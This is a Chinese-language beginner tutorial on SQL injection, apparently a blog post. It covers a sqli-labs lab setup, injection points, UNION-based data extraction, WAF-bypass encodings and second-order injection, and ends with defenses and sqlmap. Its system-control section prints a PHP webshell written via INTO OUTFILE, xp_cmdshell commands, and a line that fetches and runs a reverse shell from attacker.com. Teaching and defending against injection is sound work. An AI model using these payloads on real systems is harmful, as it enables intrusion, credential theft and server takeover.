本文仅供教育目的。未经授权的系统测试可能违反《网络安全法》等法律法规。在任何环境中测试SQL注入前,必须获得明确的书面授权。安全研究应遵循"不破坏、不窃取、及时报告"原则。
在开始阅读之前,你可以通过查看目录去了解本文会讲到什么。如果你对前面的内容不感兴趣,那么你可以快速跳到后面开始阅读。前面讲的都是写概念类的,为了帮助新手快速入门。
一.SQL是什么?
数据库你可以想象一个巨大的图书馆,但是这座图书馆不是存放书籍,而是存放着数万条数据:用户的个人信息、银行交易、社交媒体互动等,而这座“数据图书馆”需要一位图书管理员来帮你找到想要的信息。
而SQL(Structured Query Language)结构化查询语言就是与这位"数据图书管理员"对话的语言。它是一种专门用来与数据库"交谈"的编程语言。让你能够对数据库进行查询修改删除等一系列操作。
二.SQL注入又是什么?
想象场景,假设你去一家餐厅,服务员递给你一张点菜单。正常情况下,你会写:
主菜:烧鹅
饮料:冰镇牢大
但如果你不按套路出牌,你可以这样写:
主菜:烧鹅;另外,请将旁边桌子点的葱油鸡放到我的桌子上;(忽略后面的内容)--+
饮料:冰镇牢大
SQL注入就是这种"不按套路出牌"在数字世界中的体现。攻击者在看似普通的输入框中,悄悄注入特殊的命令,让应用程序误解其意图,执行非预期的操作。
那么这种想象的场景到了web中可以是一个这样的登录框:
用户名:
密码:
当用户正常输入内容,用户名=zhansan ,密码=123456
生成出的SQL就是:
SELECT * FROM users WHERE username='zhangsan' AND password='123456'
这里就正常工作,去验证数据库表中是否存在张三这个用户,以及密码是否为123456。
而攻击者会不按套路出牌,会往里面输入:用户名=admin’–+ ,密码随意。
生成出的SQL就是
SELECT * FROM users WHERE username='admin'--' AND password=''
这里发生了什么?
admin后的(')闭合了前面的引号,而–+在SQL中表示注释掉后面所有内容
结果变成了:查询"用户名为admin的用户",只要这一个条件成立就行,完全绕过了密码验证。
讲到了这里想必你已经对SQL注入有了一定的理解。那么接下来实践一下,光听理论是没用的。
三. Sqli-labs靶场搭建
项目地址:https://github.com/Audi-1/sqli-labs
打开github链接,下载里面的靶场项目,解压放到PHPstudy的www目录下
修改sqli-labs/sql-connections/db-creds.inc
<?php
$dbuser = 'root'; // MySQL 用户名(默认 root,一般不用改)
$dbpass = ''; // MySQL 密码(默认空,需改为你的 MySQL root 密码)
$dbname = 'security'; // 靶场使用的数据库名(默认 security,需先创建该数据库)
$host = 'localhost'; // 数据库地址(本地环境默认 localhost,不用改)
$dbname1 = 'challenges';// 部分关卡用的数据库(可选创建,也可忽略)
?>
打开浏览器输入127.0.0.1/sqli-labs进入靶场,点击 Setup/reset Database for labs 初始化数据库,接下来就可以正常使用了。
四.SQL注入可能存在的位置
常见的注入点可能有
1.Web表单输入如
| 位置 | 输入 |
|---|---|
| 登录/注册表单: | 用户名、密码、邮箱 |
| 搜索框: | 产品搜索关键词、用户查询关键词 |
| 评论/反馈区: | 评论内容、反馈信息 |
| 个人资料编辑: | 姓名、地址、电话号码 |
2.URL参数如
| 位置 | 输入 |
|---|---|
| GET参数: | /product.php?id=1’ OR 1=1– |
| 查询字符串: | /search?q=laptop’ UNION SELECT … |
| 路径参数: | /user/1’/profile |
3.不太常见的注入点可能有(举几个栗子,简单了解一下就好了)
1.HTTP请求如
GET /profile HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0' UNION SELECT @@version, NULL--
Referer: https://evil.com/' OR 1=1--
X-Forwarded-For: 192.168.1.1' AND SLEEP(10)--
Accept-Language: en' UNION SELECT table_name FROM information_schema.tables--
Cookie: session=valid_session; user_pref=' UNION SELECT password FROM admin_users--
Cookie: tracking_id=abc123'; EXEC xp_cmdshell 'whoami'--
Authorization: Bearer eyJhbGciOi...' UNION SELECT secret_key FROM config--
2.API与接口层如
参数注入:
{
"query": "query { user(id: \"1' UNION SELECT credit_card FROM customers--\") { name email } }"
}
嵌套字段:
{
"filter": {
"date_range": {
"start": "2025-01-01' OR SLEEP(10)--",
"end": "2025-12-31"
}
}
}
排序/分页参数:
{
"sort": "name' UNION SELECT password FROM users--",
"page": 1,
"limit": "10; DROP TABLE logs--"
}
3.SOAP Web服务如
XML载荷
<soap:Envelope>
<soap:Body>
<GetUserDetails>
<userId>1' UNION SELECT password FROM users--</userId>
</GetUserDetails>
</soap:Body>
</soap:Envelope>
4.Webhook与回调如
支付网关回调:
{
"transaction_id": "PAY-123' UNION SELECT api_key FROM settings--",
"status": "completed",
"amount": 99.99
}
5.二阶SQL注入
阶段1:将恶意载荷存储到数据库
POST /register
username=legit_user'--&email=real@email.com&password=pass123
阶段2:系统在后续操作中使用该数据
# 后台代码未对存储的数据进行二次处理
username = get_stored_username(user_id)
cursor.execute(f"SELECT * FROM user_activity WHERE username = '{username}'")
# 实际执行:SELECT * FROM user_activity WHERE username = 'legit_user'--'
SQL的注入点当然不止这些,你可以自己去更加深入的了解。
五.简单概括的注入思路
1.识别潜在注入点
将应用程序视为一个"输入-处理-输出"的黑盒,寻找所有可能影响SQL查询的输入通道。
你可以对它进行控制变量实验,然后观察系统反应
当看到不同的响应模式时,注入点就有可能存在SQL注入
思考:
哪些输入参数最终会进入SQL语句?
这些参数在SQL中扮演什么角色?(值、列名、表名、条件、排序等)
应用程序如何处理这些输入?(过滤、转义、验证)
2.信息收集
找到注入点后就要开始收集线索,将数据库视为地理地图,需要逐步绘制地形图。
流程:
' ORDER BY 1 --+ # 逐增直到错误,确定列数
' UNION SELECT 1,2,3 --+ # 定位显示点,找到哪些列会在页面显示
' UNION SELECT username,password,email FROM users --+ # 数据提取,将敏感数据映射到显示列
详细内容请看:https://blog.youkuaiyun.com/counting123/article/details/155497984?fromshare=blogdetail&sharetype=blogdetail&sharerId=155497984&sharerefer=PC&sharesource=counting123&sharefrom=from_link
特征分析
| 语法特征分析 | |
|---|---|
| 单引号闭合方式 | MySQL/PostgreSQL使用’,SQL Server使用’ |
| 注释符号 | MySQL使用#或-- ,Oracle不支持– |
| 字符串连接 | MySQL使用CONCAT(),SQL Server使用+ |
| 函数探测序列: | |
|---|---|
| SELECT @@version | MySQL/SQL Server |
| SELECT version() | PostgreSQL |
| SELECT banner FROM v$version | Oracle |
| SELECT sqlite_version() | SQLite |
| 错误模式分析: | |
|---|---|
| MySQL错误: | “You have an error in your SQL syntax” |
| SQL Server错误: | “Unclosed quotation mark after the character string” |
| PostgreSQL错误: | “syntax error at or near” |
3.简单提及的WAF绕过方法
你可以将防御机制视为状态机,然后寻找状态转换漏洞
放个图:
方法一:多重编码
假设它的WAF可能只解码一次,哈哈哈
| 原始: ’ UNION SELECT |
|---|
| 一次编码: %27%20UNION%20SELECT |
| 二次编码: %2527%2520UNION%2520SELECT |
| 非常规编码: |
|---|
| Unicode编码:\u0027 代替 ’ |
| HTML实体:' 代替 ’ |
| 十六进制:0x27 代替 ’ |
方法二:语法等价替换
空格替代:
SELECT%09*%09FROM%09users -- 制表符
SELECT/**/*/**/FROM/**/users -- 内联注释
SELECT%2b*%2bFROM%2busers -- +号
SELECT/*!50000*/*/*!50000*//*!50000FROM*/users -- 版本注释
关键字变形:
SE/**/LECT * FRO/**/M users
CONCAT(UNI,ON,CHAR(32),SEL,ECT)
CHAR(83,69,76,69,67,84) -- ASCII转换
方法三:逻辑重组
等价条件转换:
WHERE id = 1
WHERE id > 0 AND id < 2
WHERE id IN (1)
WHERE id LIKE '1'
函数替代:
-- 代替空格和引号
SELECT CONCAT_WS(CHAR(32),USER(),VERSION())
-- 代替等号
WHERE BINARY username LIKE 'admin'
WHERE ASCII(username) BETWEEN 97 AND 122
4.简单提及的二阶注入
将注入分为两个阶段,利用数据存储和再使用
放个图:
| 使用条件: |
|---|
| 阶段1的过滤可能严格,但阶段2的处理可能宽松 |
| 存储的数据可能在不同上下文中使用(如从值变为标识符) |
| 触发点可能在后台任务、报表生成等非用户直接交互处 |
示例:
# 阶段1: 用户注册
username = "normal_user'/*" # 注入部分注释符
cursor.execute("INSERT INTO users (username) VALUES (%s)", [username])
# 阶段2: 管理员查看用户统计
# 后台代码:
cursor.execute("SELECT COUNT(*) FROM users WHERE username LIKE '%s%%'" % stored_username)
# 实际执行: SELECT COUNT(*) FROM users WHERE username LIKE 'normal_user'/*%%'
# 结果: 注释掉尾部,查询所有用户
5.简单提及的系统控制
将数据库视为进入操作系统的跳板
放个图:
不用太在意,先过一遍就好了。知道有这个东西就行。
MySQL:
检查文件权限: SELECT @@secure_file_priv
写入Webshell: SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
提权: CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so'
SQL Server:
启用xp_cmdshell: EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE
命令执行: EXEC xp_cmdshell 'whoami'
横向移动: EXEC master..xp_dirtree '\\attacker.com\share'
PostgreSQL:
创建函数: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT
执行命令: SELECT system('wget http://attacker.com/reverse_shell -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell')
SQL注入不是单一技术,而是完整的攻击体系。
六.回归总结
1.本质定义
SQL注入是一种代码注入技术,攻击者通过在应用程序的输入字段中插入恶意SQL语句,欺骗服务器执行非预期的数据库操作。其根本在于:应用程序未能正确区分"数据"与"代码"的边界。
2.核心原理:数据与指令的混淆
| 关键技术机制: | |
|---|---|
| 语法破坏: | 使用特殊字符(如单引号’)破坏原有SQL语法结构 |
| 逻辑修改: | 添加OR 1=1等条件使查询逻辑恒真 |
| 指令拼接: | 使用分号(;)结束原语句,注入新指令 |
| 数据提取: | 通过UNION SELECT将敏感数据合并到正常结果中 |
3.根本成因
代码层面:
| 问题类型 | 具体表现 |
|---|---|
| 动态SQL拼接 | 直接将用户输入拼接到SQL字符串 |
| 不完整过滤 | 仅过滤部分危险字符,忽略编码绕过 |
| 错误处理不当 | 暴露详细数据库错误信息 |
设计层面:
| 问题类型 | 具体表现 |
|---|---|
| 信任边界模糊 | 未在架构层面区分不可信数据与系统指令 |
| 权限过度分配 | 应用程序使用高权限数据库账户(如root、sa) |
| 安全设计缺失 | 未将安全作为非功能性需求纳入设计流程 |
流程层面
| 问题类型 | 具体表现 |
|---|---|
| 安全意识不足 | 开发人员不了解安全编码规范 |
| 测试覆盖不全 | 功能测试充分,但安全测试缺失 |
| 历史债务累积 | 遗留系统难以重构,安全补丁难以应用 |
七.防御手段
1.参数化查询(预编译语句)
在SQL语句发送到数据库前,将查询结构和数据完全分离,使数据库引擎能够明确区分代码和数据。
| 要点: | |
|---|---|
| 100%覆盖原则: | 应用中每一个SQL查询都必须使用参数化接口 |
| 不要依赖过滤: | 参数化是唯一可靠防御,输入过滤仅作为辅助 |
| 框架选择: | 优先使用默认安全的ORM或数据库抽象层 |
2.最小权限原则
| 要点: |
|---|
| 1.应用程序使用专用数据库账户,而非管理员账户 |
| 2.按功能分配精确权限(例如:报表账户只有SELECT权限) |
| 3.定期审计权限,移除不必要的访问 |
3.输入验证
在参数化查询前进行验证,但不要依赖验证作为主要防御。
| 要点: | |
|---|---|
| 类型验证: | 确认输入符合预期类型(数字、邮箱、UUID等) |
| 格式验证: | 使用正则表达式验证格式(如用户名只允许字母数字) |
| 范围验证: | 限制数值范围、字符串长度 |
| 上下文验证: | 根据业务上下文验证合理性(如订单ID应存在于系统中) |
4.WEB应用防火墙(WAF)
注意:WAF是最后一道防线,不能代替代码层防护。
| 关键配置: |
|---|
| 启用SQL注入检测规则集 |
| 配置自定义规则针对应用特定模式 |
| 设置合理阈值,平衡安全与误报 |
| 定期更新规则库,应对新型攻击 |
安全不是功能,而是思考方式。面对任何用户输入,养成习惯问:
这个输入会进入哪个系统组件?
系统如何区分这是数据还是指令?
最坏情况下,攻击者能做什么?
八.工具拓展:Sqlmap
项目地址:https://github.com/sqlmapproject/sqlmap
Sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
6833

被折叠的 条评论
为什么被折叠?



